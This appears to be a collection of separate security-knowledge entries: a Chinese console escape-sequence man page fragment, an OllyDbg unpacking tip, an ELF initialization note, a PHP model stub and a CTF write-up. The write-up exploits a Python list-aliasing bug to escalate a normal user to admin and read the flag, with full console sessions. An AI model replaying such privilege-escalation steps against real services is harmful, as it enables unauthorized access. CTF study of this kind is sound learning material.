ESC( 开始一个 G0 字符集定义序列 ESC( B \0\0\0选择默认字符集(ISO 8859-1 mapping) ESC( 0 \0\0\0选择 vt100 图形映射 ESC( U \0\0\0选择空映射 - 直接访问字符ROM ESC( K \0\0\0选择用户映射 - 由程序\fBmapscrn\fP(8) \0\0\0加载. ESC ) 开始一个 G1 字符集定义 (后面跟 B,0,U,K,同上). ESC > DECPNM 设置数字小键盘模式 ESC = DECPAM 设置程序键盘模式 ESC ] OSC (是perating system command的缩写) ESC ] P \fInrrggbb\fP: 设置调色板,后面紧跟7个 十六进制数,再跟一个 P :-(. 这里 \fIn\fP 是颜色(0-16),而 \fIrrggbb\fP 表示 红/绿/蓝 值(0-255). ESC ] R: 重置调色板 .TE .SS "ECMA-48 CSI sequence" "ECMA-48 CSI 序列" CSI(或者 ESC [)后面跟的参数序列大部分是NPAR(16), 就是由分号隔开的十进制数.空参数或缺少的参数以0处理. 可以用一个问号代替参数序列. 在任何情况下,系统读取 CSI [(或者 ESC [ [)后的单个字符, 而忽略整个序列.(用于忽略回显功能键.) CSI 序列的动作由其最后一个字符决定. .TS l l l. @ ICH 用#符号指示空格. A CUU 光标上移到#标识的行. B CUD 光标下移到#标识的行. C CUF 光标右移到#标识的列. D CUB 光标左移到#标识的列. E CNL 将光标下移到#指示的行的第一列. F CPL 将光标上移到#指示的行的第一列. G CHA 光标移动到当前行的指定列. H CUP 光标移动到指定行和列(以1行1列为参照). J ED 删除(默认从当前光标处到行尾的)内容. ESC [ 1 J: 删除从开始到光标处的内容. ESC [ 2 J: 清空整个屏幕. K EL 删除行(默认从当前光标处到结尾). ESC [ 1 K: 删除从行首到当前光标处的内容. ESC [ 2 K: 删除整行. L IL 在空行插入#. M DL 删除#标记的行. P DCH 删除当前行中#标记的字符. X ECH 删除当前行中#标记的单词. a HPR 光标移动到#标记的右边. c DA 以`I am a VT102'应答 ESC [ ? 6 c: d VPA 光标移动到当前列指定行 e VPR 光标移动到#标记的下一行. f HVP 光标移动到指定的行和列. g TBC 没有参数: 清除当前位置的制表站. ESC [ 3 g: 删除所有制表站. h SM 设置模式(见下文). l RM 重置模式(见下文). m SGR 设置属性(见下文). n DSR 状态报告(见下文). q DECLL 设置键盘指示灯. ESC [ 0 q: 熄灭所有指示灯 ESC [ 1 q: 点亮 Scroll Lock 灯 ESC [ 2 q: 点亮 Num Lock 灯 ESC [ 3 q: 点亮 Caps Lock 灯 r DECSTBM 设置滚动范围; 参数为首行和末行. s ? 存储光标位置. u ? 恢复光标位置. ` HPA 光标移动到当前行指定列. .TE .SS ECMA-48 Set Graphics Rendition 设置图形属性 ECMA-48 SGR 序列 ESC [ <parameters> m 设置显示属性. 同样的序列可以设置一个或多个属性. .LP .TS l l. par 作用 0 所有属性重设为默认值 1 设置粗体 2 设置亮度减半(在支持颜色显示时用不同颜色进行模拟) 4 设置下划线(在支持颜色显示时用不同颜色进行模拟) (用于模拟的颜色由 ESC ] ...设置) 5 设置闪烁 7 设置反转视频(reverse video) 10 重设选定映像,显示控制标记, 反转元素标记. 11 选择空映像,设置显示控制标记, 重设反转标记. 12 选择空映像,设置显示控制标记, 重设反转标记.(在完成映像表转 换之前反转标记引起每一字节的 高位反转.) 21 设置正常亮度(和 ECMA-48 不兼容) 22 设置正常亮度 24 关闭下划线 25 不闪烁 27 反转视频关闭 30 黑色背景 31 红色前景 32 绿色前景 33 棕色前景 34 蓝色前景 35 品红前景 36 孔雀蓝前景 37 白色前景 38 打开下划线,设置默认前景色 39 关闭下划线,设置默认前景色 40 黑色背景 41 红色背景 42 绿色背景 43 棕色背景 44 蓝色背景 45 品红背景 46 孔雀蓝背景 47 白色背景 49 设置默认背景色 .TE .SS ECMA-48 Mode Switches ECMA-48模式选择 .TP ESC [ 3 h DECCRM(默认关闭): 显示控制字符. .TP ESC [ 4 h DECIM(默认关闭): 设置插入模式. .TP ESC [ 20 h LF/NL(默认关闭): 自动在CR后加上 LF,VT 或者 FF. .LP .SS ECMA-48 状态报告命令. .TP ESC [ 5 n 设备状态报告(DSR): 以 ESC [ 0 n 应答(终端准备好). .TP ESC [ 6 n 光标位置报告(CPR): 以ESC [ \fIy\fP ; \fIx\fP R 应答, 这里 \fIx,y\fP 指光标位置. .SS DEC Private Mode(DECSET/DECRST)sequences DEC私有模式序列. 这里给出的序列在 ECMA-48中没有描述.我们列出了设置模式序列; 用l替换最后一个h就是重设模式序列. .TP ESC [ ? 1 h DECCKM(默认关闭): 打开时光标键送出 ESC O 前缀, 而不是 ESC [. .TP ESC [ ? 3 h DECCOLM(默认 = 80 行): 交替选择 80/132 行模式.当原显示 模式不足以满足要求的时候,象 .BR resizecons(8) 这样的用户程序会改变终端显示卡的硬件注册. .TP ESC [ ? 5 h DECSCNM(默认关闭): 设置视频反转模式. .TP ESC [ ? 6 h DECOM(默认关闭): 打开时,光标位置用相对于滚动条左上角 的位置表示. .TP ESC [ ? 7 h DECAWM(默认关闭): 打开自动换行.在这种模式下,一行中 超过80列的字符将自动换行(在DECCOLM打开时是132列). .TP ESC [ ? 8 h DECARM(默认关闭): 打开键盘自动重复. .TP ESC [ ? 9 h X10 鼠标报告(默认关闭): 设置报告模式 1(或者重设为 0)\- 见下文. .TP ESC [ ? 25 h DECCM(默认打开): 设置光标可见. .TP ESC [ ? 1000 h X11 鼠标报告(默认关闭): 设置报告模式 2(或者重设为 0)\- 见下文. .SS Linux Console Private CSI Sequences Linux控制台私有控制序列 下面的序列既不属于 ECMA-48 字符也不属于 VT102.它们只在 Linux控制台上使用.颜色采用 SGR 参数: 0 = 黑色,1 = 红色,2 = 绿色,3 =褐色 ,4 = 蓝色,5 = 洋红,6 = 孔雀蓝,7 = 白色. .TS l l. ESC [ 1 ; \fIn\fP ] 设置下划线颜色为 \fIn\fP ESC [ 2 ; \fIn\fP ] 设置暗色为 \fIn\fP ESC [ 8 ] 设置当前颜色对为默认属性. ESC [ 9 ; \fIn\fP ] 设置屏幕空白超时为 \fIn\fP 分钟. ESC [ 10 ; \fIn\fP ] 设置机箱喇叭鸣叫频率,单位: Hz. ESC [ 11 ; \fIn\fP ] 设置机箱喇叭鸣叫持续时间,单位:微秒. ESC [ 12 ; \fIn\fP ] 设置指定控制台前台运行. ESC [ 13 ] 设置指定控制台黑色 ESC [ 14 ; \fIn\fP ] 设置 VESA 关闭间隔,单位: 分钟. .TE .SH "CHARACTER SETS" "字符集" 内核可以完成以下四种字符转换,使字符能在屏幕上显示. a)Latin1 -> PC,b)VT100 graphics -> PC,c)PC -> PC, d)user-defined(用户自定义). 有两种字符集设置,以 G0 和 G1定义,当前字符集必定是其中之一.(初 始化为G0.)键入 ^N 使 G1 成为当前字符集,键入 ^O 使 G0 成为当前设置. 变量 G0 and G1 指向字符映射关系表,并且这种指向关系可以由用户改变. 系统初始化时它们分别指向表 a)and b). 序列 ESC( B ,ESC( 0 ,ESC( U 和 ESC( K 分别使 G0 指向字符映射表 a),b),c)和 d). 序列 ESC )B ,ESC )0 ,ESC )U 和 ESC )K 分别使 G1 指向字符映射表 a),b),c)和 d). 序列 ESC c 重置一个终端,当屏幕显示出现混乱时可以使用这个序列. 另一个序列 "echo ^V^O" 仅仅将G0设为当前字符集,但并不保证 G0 指 向映射表 a). 有的Linux发行版中提供一个叫做 .BR reset(1) 的程序用来送出序列 "echo ^[c". 如果你的系统终端变量没有错误( rs1=\\Ec), 那么使用"tput reset"也可以达到同样效果. 用户自定义映射表可以用程序 .BR mapscrn(8). 定义.这个程序工作时会将送入的字符c通过关系式s=map[c]映射到 字符s然后送入显存.字符s所对应的位图放在字符ROM里面,可以使 用程序 .BR setfont(8). 来改变. .SH "MOUSE TRACKING" "鼠标轨迹" 鼠标轨迹工具可以返回与 xterm 兼容的鼠标状态报告.因为控制台 驱动没有办法知道鼠标类型,只有当虚拟终端驱动接收到鼠标输入 输出消息更新时才会将这些报告返回给控制台输入流..这些鼠标 输入输出消息由 \fBgpm(8)\fR 守护进程产生. 所有鼠标轨迹转义序列参数由\fIxterm\fP 编码成象\fIvalue\fP+040 这样的单一字符形式的数字参数.比如,`!' 编码成 1.屏幕坐标系统 以'1'为基准. X10 兼容模式在鼠标键按下时将按下的键和鼠标位置编码后送出. ESC [ ? 9 h 允许这一动作,ESC [ ? 9 l禁止这一动作. 有键按下时,\fIxterm\fP 送出ESC [ M \fIbxy\fP(6 个字符).这里 \fIb\fP 代表 键\-1,而 \fIx\fP 和 \fIy\fP 是鼠标的 x 和 y 坐标.这和 内核产生的序列相同. 常规的轨迹模式(Linux 2.0.24不再支持)在左右两键同时按下然后 释放时送出转义序列.组合键编码也被送出.ESC [ ? 1000 h 允许这 个动作而ESC [ 1000 l 禁止这个动作.当有键按下或者释放时, \fIxterm\fP 送出 ESC [ M \fIbxy\fP.\fIb\fP 的低两位对按键信息编码: 0=鼠标键1按下,1=鼠标键2 按下,2=鼠标键3 按下,3=释放. 高位编码代表组合键,和上述编码一起送出: 4=Shift,8=Meta(Alt),16=Control(Ctrl).\fIx\fP 和\fIy\fP为发生鼠标事 件的x和y坐标.以左上角为(1,1). .SH 和其它终端的比较 我们已经讨论了几种终端类型,比如Linux 控制台.这类终端称为 "VT100兼容"的终端.这里我们再介绍其他两种重要的终端类型: DEC VT102 和 .BR xterm(1) 以及他们和Linux控制终端的区别. .SS Control-character handling 控制字符处理 vt102 也使用以下控制序列: .HP NUL(0x00)忽略; .HP ENQ(0x05)触发应答消息; .HP DC1(0x11,^Q,XON)继续传送; .HP DC3(0x13,^S,XOFF)使 vt100 忽略(并停止传送) 除 XOFF and XON 以外的一切字符. .LP VT100-like DC1/DC3 进程可以由 tty 驱动激活. .LP 程序 .I xterm (在 vt100 模式 中)使用控制序列 BEL,BS,HT,LF,VT,FF,CR,SO,SI,ESC. .SS Escape sequences 转义序列 VT100 控制台序列不完全支持Linux控制台序列: .LP .TS l l l. ESC N SS2 仅仅为下一个字符选择 G2 字符集 (Single shift 2). ESC O SS3 仅仅为下一个字符选择 G2 字符集 (Single shift 2). ESC P DCS 设备控制字符,由ESC \e 终止 (Device control string). ESC X SOS 字符串开始. (Start of string) ESC ^ PM 私有消息,由 ESC \e 终结 (Privacy message) ESC \e ST 字符串终结 (String terminator) ESC * ... 指定 G2 字符集 ESC + ... 指定 G3 字符集 .TE 程序 .I xterm (vt100 模式)承认 ESC c,ESC # 8,ESC >,ESC =, ESC D,ESC E,ESC H,ESC M,ESC N,ESC O,ESC P ...ESC \, ESC Z(以 [ ? 1 ; 2 c,`I am a vt100 with advanced video option'回应) 以及 ESC ^ ...ESC \,意义同上. 接受 ESC(,ESC ),ESC *,ESC + 后跟 0,A,B 的字符序列,分别 代表的DEC 特殊字符,画线设置,UK 和 US ASCII码. 接受 ESC ] 作为特定资源设置: .LP .TS l l. ESC ] 0 ; txt BEL 将图标名和窗口标题设为文本. ESC ] 1 ; txt BEL 将图标名设为文本. ESC ] 2 ; txt BEL 将窗口名设为文本. ESC ] 4 6 ; name BEL 改变日志文件名(一般 由编译时选项禁止) ESC ] 5 0 ; fn BEL 字体设置为 fn. .TE 以下字符的含义略有不同:: .LP .TS l l l. ESC 7 DECSC 存储光标位置 ESC 8 DECRC 恢复光标位置 .TE 它还接受以下序列: .LP .TS l l l. ESC F 光标移动到屏幕左下角(由 hpLowerleftBugCompat 打开这项设置) ESC l 内存锁定(对于 HP 终端). 锁定光标以上的内存. ESC m 内存解锁(对于 HP 终端). ESC n LS2 调用 G2 字符集. ESC o LS3 调用 G3 字符集. ESC | LS3R 以GR调用 G3 字符集. 在xterm上看不到效果. ESC } LS2R 以GR调用 G3 字符集. 在xterm上看不到效果. ESC ~ LS1R 以GR调用 G3 字符集. 在xterm上看不到效果. .TE 它不识别 ESC % ... .SS CSI Sequences CSI 序列 程序 .I xterm (直到 XFree86 3.1.2G)不能识别闪烁或者不可见模式的 SGR值.X11R6 也不能识别以 SGRs 为参数设置的色彩. .IR xterm 可以识别其他的 ECMA-48 CSI 序列,只要Linux可以识别. 反之亦然. .I xterm 可以识别以上列出的所有 DEC 私有序列,但是不包括 Linux 私有模式序列. 在 .I Xterm Control Sequences 中有关于 .IR xterm 的私有模式序列的讨论. document by Edward Moy and Stephen Gildea,available with the X distribution. .SH BUGS 在版本为 2.0.23 的内核中,CSI 序列的识别有些问题: 不能识别转义序列中的NUL. .SH 参见 .BR console(4), .BR console_ioctl(4), .BR charsets(7)
sec-knowleage
# SFX 法 "SFX"法利用了Ollydbg自带的OEP寻找功能, 可以选择直接让程序停在OD找到的OEP处, 此时壳的解压过程已经完毕, 可以直接dump程序. ## 要点 1. 设置OD, 忽略所有异常, 也就是说异常选项卡里面都打上勾 2. 切换到SFX选项卡, 选择"字节模式跟踪实际入口(速度非常慢)", 确定 3. 重载程序(如果跳出是否"压缩代码?"选择"否", OD直接到达OEP) ## 示例 示例程序可以点击此处下载: [6_sfx.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/6_sfx.zip) 首先我们在菜单`选项->调试设置->异常标签页`中勾选所有忽略异常. 然后切换到`SFX`标签页, 点选"字节方式跟踪真正入口处(速度非常慢)" 重载程序,程序已经停在了代码入口点, 并且也不需要对OEP进行重新分析.
sec-knowleage
<?php namespace app\index\model; use think\Model; class User extends Model { protected $table = 'user'; }
sec-knowleage
### Code Section概述 在动态链接器创建了进程镜像,并且执行了重定位后,每一个共享目标文件都有机会去执行一些初始化的代码。所有的共享目标文件会在可执行文件获得权限之前进行初始化。 在调用目标文件 A 的初始化代码之前,会首先调用所有 A 依赖的共享目标文件的初始化代码。比如说,如果目标文件 A 依赖于另外一个目标文件 B,那么 B 就会在 A 的依赖列表中,这会被记录在动态结构的 DT_NEEDED 中。循环依赖的初始化是未被定义的。 目标文件的初始化通过递归每一个被依赖的表项来完成。只有当一个目标文件依赖的所有的目标文件都处理完自己的依赖后,这个目标文件才会执行初始化代码。 下面的例子解释了两种正确的可以用来生成给定例子的顺序。在这个例子中,a.out 依赖于b,d 以及 e。b依赖于d 和 f,并且 d 依赖于 e 和 g。根据这个信息,我们可以画出如下的依赖图。 类似的,共享目标文件也会有结束的函数,这些函数在进程完成自己的终止序列时通过 atexit 机制来执行。动态链接器调用终止函数的顺序恰好与上面初始化的顺序相反。动态链接器将会确保它只会执行初始化或者终止函数最多一次。 共享目标文件通过动态结构中的 DT_INIT 和 DT_FINI 来指定它们的初始化以及结束函数。在一般情况下,这些函数在.init节与.fini节中。 注意: > 尽管ateixt终止处理函数通常来说会被执行,但它并不会保证在程序消亡时被执行。更特殊的是,如果程序调用了_exit函数或者进程由于接收到一个信号后消亡了,那么它将不会执行对应的函数。 动态链接器并不负责调用可执行文件的 .init 节或者利用 atexit 注册可执行文件的 .fini 节。由用户通过 atexit 机制指定的终止函数必须在所有共享目标文件的结束函数前执行。
sec-knowleage
# Make a point Category: Misc., 100 points ## Description > Due to a worldwide virus all of our users now need to work from home. So we created a brand-new remote system for them to keep their flags online. But lately we started to suspect that someone succeeded to get the Admin's flag. Can you point us to the right direction? > > (no brute force is needed) ```python from passwords import ADMIN_PASSWD from flag import FLAG DUMMY_FLAG = "cstechnion{dummy_fl4g_p134se_don7_try_t0_3nter_1t}" MAX_USERS_NUM = 8 NAME_ID = 0 PASS_ID = 1 IS_ADMIN_ID = 2 users = [[None, None, None] for _ in range(MAX_USERS_NUM)] logged_in = None def get_flag(): if logged_in == None: print("you should be logged in :)") return if users[logged_in][IS_ADMIN_ID]: print(FLAG) else: print(DUMMY_FLAG) def add_admin_user(): user_id = _choose_uesr_slot() if user_id == None: return if _is_slot_occupied(user_id): return users[user_id][NAME_ID] = "Admin" users[user_id][PASS_ID] = ADMIN_PASSWD users[user_id][IS_ADMIN_ID] = True print(f"admin user created in slot number {user_id}") def add_normal_user(): user_id = _choose_uesr_slot() if user_id == None: return if _is_slot_occupied(user_id): return users[user_id][NAME_ID] = input("enter new name please:") users[user_id][PASS_ID] = input("enter new password please:") users[user_id][IS_ADMIN_ID] = False print(f"user created in slot number {user_id}") def login(): global logged_in user_id = _choose_uesr_slot() if user_id == None: return if not _get_password(user_id): return logged_in = user_id print("you are logged in!") def logout(): global logged_in logged_in = None print("logout done") def delete_user(): global logged_in user_id = _choose_uesr_slot() if user_id == None: return users[user_id][PASS_ID] = None users[user_id][NAME_ID] = None users[user_id][IS_ADMIN_ID] = None print("user deleted") if user_id == logged_in: print("you were logged out") logged_in = None def delete_all_users(): global logged_in, users users = [[None, None, None]] * MAX_USERS_NUM logged_in = None print("all users deleted") ops = [ get_flag, add_admin_user, add_normal_user, login, logout, delete_user, delete_all_users, exit ] MENU = """please select an option: \t0) get flag! \t1) add admin user \t2) add normal user \t3) login \t4) logout \t5) delete user \t6) delete all users \t7) exit """ def _get_option(input_range): option = input(">> ") # check if input is a number if not option.isdigit(): print("error. invalid option. try again") return None # check if input is in valid range option = int(option) if option not in range(input_range): print("error. invalid option number. try again") return None return option def _choose_option_from_menu(): global logged_in print("\nwelcome!") if logged_in == None: print("(you are not logged in)") else: print(f"hi {users[logged_in][NAME_ID]}!") print("you're logged in as user number:", logged_in) print(MENU) print("choose an option(0-7):") return _get_option(len(ops)) def _choose_uesr_slot(): print("choose user slot(0-7)") for i in range(MAX_USERS_NUM): print(f"\t{i}) {users[i][NAME_ID]}") return _get_option(MAX_USERS_NUM) def _get_password(user_id): password = input("enter the user password please:") if users[user_id][PASS_ID] != password: print("invalid password. go away!") return False return True def _is_slot_occupied(user_id): if users[user_id] != [None, None, None]: print("error. slot already occupied") return True return False def main(): while(True): option = _choose_option_from_menu() if option == None: # invalid option continue if option == 7: #exit break ops[option]() print("bye bye") if __name__ == "__main__": main() ``` ## Solution This challenge offers us 8 user slots and allows us to create either regular users or admin users in each of the slots. For regular users, we provide the password, while admin users use a predefined password. Only admin users should be able to call a function to read the flag, how can we get it anyway? Searching the code for vulnerabilities, we can notice the following difference. The `users` list is initially initializes as `users = [[None, None, None] for _ in range(MAX_USERS_NUM)]`, but the `delete_all_users` function re-initializes it using `users = [[None, None, None]] * MAX_USERS_NUM`. This is an important difference! While the first method creates a different list for each user, the second one duplicates the same list `MAX_USERS_NUM` times, as seen in the following experiment. First, we add an admin user without deleting all users: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Make_a_point] └─$ nc ctf.cs.technion.ac.il 4142 welcome! (you are not logged in) please select an option: 0) get flag! 1) add admin user 2) add normal user 3) login 4) logout 5) delete user 6) delete all users 7) exit choose an option(0-7): >> 1 choose user slot(0-7) 0) None 1) None 2) None 3) None 4) None 5) None 6) None 7) None >> 0 admin user created in slot number 0 welcome! (you are not logged in) please select an option: 0) get flag! 1) add admin user 2) add normal user 3) login 4) logout 5) delete user 6) delete all users 7) exit choose an option(0-7): >> 3 choose user slot(0-7) 0) Admin 1) None 2) None 3) None 4) None 5) None 6) None 7) None ``` If we delete all users, here's what happens: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Make_a_point] └─$ nc ctf.cs.technion.ac.il 4142 welcome! (you are not logged in) please select an option: 0) get flag! 1) add admin user 2) add normal user 3) login 4) logout 5) delete user 6) delete all users 7) exit choose an option(0-7): >> 6 all users deleted welcome! (you are not logged in) please select an option: 0) get flag! 1) add admin user 2) add normal user 3) login 4) logout 5) delete user 6) delete all users 7) exit choose an option(0-7): >> 1 choose user slot(0-7) 0) None 1) None 2) None 3) None 4) None 5) None 6) None 7) None >> 0 admin user created in slot number 0 welcome! (you are not logged in) please select an option: 0) get flag! 1) add admin user 2) add normal user 3) login 4) logout 5) delete user 6) delete all users 7) exit choose an option(0-7): >> 3 choose user slot(0-7) 0) Admin 1) Admin 2) Admin 3) Admin 4) Admin 5) Admin 6) Admin 7) Admin ``` Now, in order to print the flag, we need `users[logged_in][IS_ADMIN_ID]` to be true. Here's how we achieve that using the bug we found. First, we delete all users to make all slots refer to the same list: ``` welcome! (you are not logged in) please select an option: 0) get flag! 1) add admin user 2) add normal user 3) login 4) logout 5) delete user 6) delete all users 7) exit choose an option(0-7): >> 6 all users deleted ``` Then, we create a normal user: ``` welcome! (you are not logged in) please select an option: 0) get flag! 1) add admin user 2) add normal user 3) login 4) logout 5) delete user 6) delete all users 7) exit choose an option(0-7): >> 2 choose user slot(0-7) 0) None 1) None 2) None 3) None 4) None 5) None 6) None 7) None >> 0 enter new name please:Test enter new password please:Test user created in slot number 0 welcome! (you are not logged in) ``` We login as this user: ``` please select an option: 0) get flag! 1) add admin user 2) add normal user 3) login 4) logout 5) delete user 6) delete all users 7) exit choose an option(0-7): >> 3 choose user slot(0-7) 0) Test 1) Test 2) Test 3) Test 4) Test 5) Test 6) Test 7) Test >> 0 enter the user password please:Test you are logged in! welcome! hi Test! you're logged in as user number: 0 ``` This sets `logged_in = user_id` which is `0`. We now want to add an admnin user, but we can only do that if there is some empty slot. So we delete slot #1: ``` please select an option: 0) get flag! 1) add admin user 2) add normal user 3) login 4) logout 5) delete user 6) delete all users 7) exit choose an option(0-7): >> 5 choose user slot(0-7) 0) Test 1) Test 2) Test 3) Test 4) Test 5) Test 6) Test 7) Test >> 1 user deleted welcome! hi None! you're logged in as user number: 0 ``` It's important not to delete the slot we're logged in under, since doing that will execute: ```python if user_id == logged_in: print("you were logged out") logged_in = None ``` However, given that we're logged in under `0` and deleted `1`, `logged_in` stays set to `0`. Now, we add the admin: ``` please select an option: 0) get flag! 1) add admin user 2) add normal user 3) login 4) logout 5) delete user 6) delete all users 7) exit choose an option(0-7): >> 1 choose user slot(0-7) 0) None 1) None 2) None 3) None 4) None 5) None 6) None 7) None >> 1 admin user created in slot number 1 welcome! hi Admin! you're logged in as user number: 0 ``` Finally, we can get the flag and exit: ``` please select an option: 0) get flag! 1) add admin user 2) add normal user 3) login 4) logout 5) delete user 6) delete all users 7) exit choose an option(0-7): >> 0 cstechnion{p01nters_poin73r5_ev3rywher3_6a7b32e} welcome! hi Admin! you're logged in as user number: 0 please select an option: 0) get flag! 1) add admin user 2) add normal user 3) login 4) logout 5) delete user 6) delete all users 7) exit choose an option(0-7): >> 7 bye bye ```
sec-knowleage